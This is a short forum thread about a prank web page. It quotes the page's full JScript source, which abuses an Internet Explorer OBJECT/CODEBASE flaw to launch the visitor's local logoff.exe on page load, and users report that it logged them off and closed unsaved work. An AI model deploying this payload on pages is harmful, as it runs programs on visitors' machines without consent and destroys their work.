For those afraid to click, this is all the page says:

You should feel lucky if you dont have XP right now.
 
source code:

<SCRIPT language=JScript>
var programName=new Array(
'c:/windows/system32/logoff.exe',
'c:/winxp/system32/logoff.exe',
'c:/winnt/system32/logoff.exe'
);

function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 390, 200, 200, document.body);
}
</SCRIPT>
 
I have XP, and it didn't shut my computer down, it just logged me out of the account I'm in. Maybe its because I'm remote desktoping in?

Yeah, I got that, and it tried to do something...it triggered Word to close, but I had something open and I clicked "Cancel" when it suddenly asked me if I wanted to save.

So no reboot. 😛 😀

Well actually it logged me off too but it closed out of everthing I was working on so basically the same thing.........

It only works in IE.......... cause I just tried it in Mozilla and nothing happened.
